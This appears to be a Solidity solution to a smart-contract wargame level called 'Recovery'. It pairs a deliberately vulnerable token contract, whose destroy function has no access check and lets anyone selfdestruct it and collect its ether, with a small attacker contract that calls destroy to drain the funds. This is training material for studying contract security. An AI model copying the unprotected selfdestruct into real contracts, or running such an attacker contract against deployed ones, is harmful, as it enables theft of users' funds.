Level_17_Recovery.sol

pragma solidity ^0.6.6;

import 'https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/math/SafeMath.sol';

contract SimpleToken {

  using SafeMath for uint256;
  // public variables
  string public name;
  mapping (address => uint) public balances;

  // constructor
  constructor(string memory _name, address _creator, uint256 _initialSupply) public {
    name = _name;
    balances[_creator] = _initialSupply;
  }

  // collect ether in return for tokens
  fallback() external payable {
    balances[msg.sender] = msg.value.mul(10);
  }

  // allow transfers of tokens
  function transfer(address _to, uint _amount) public { 
    require(balances[msg.sender] >= _amount);
    balances[msg.sender] = balances[msg.sender].sub(_amount);
    balances[_to] = _amount;
  }

  // clean up after ourselves
  function destroy(address payable _to) public {
    selfdestruct(_to);
  }
}

contract Destroy{
    address payable receiver = msg.sender;
    SimpleToken killMeplease;
    
    function destroySimpleToken(address payable simpleTokenAddress) public{
        killMeplease = SimpleToken(simpleTokenAddress);
        killMeplease.destroy(receiver);
    }
    
}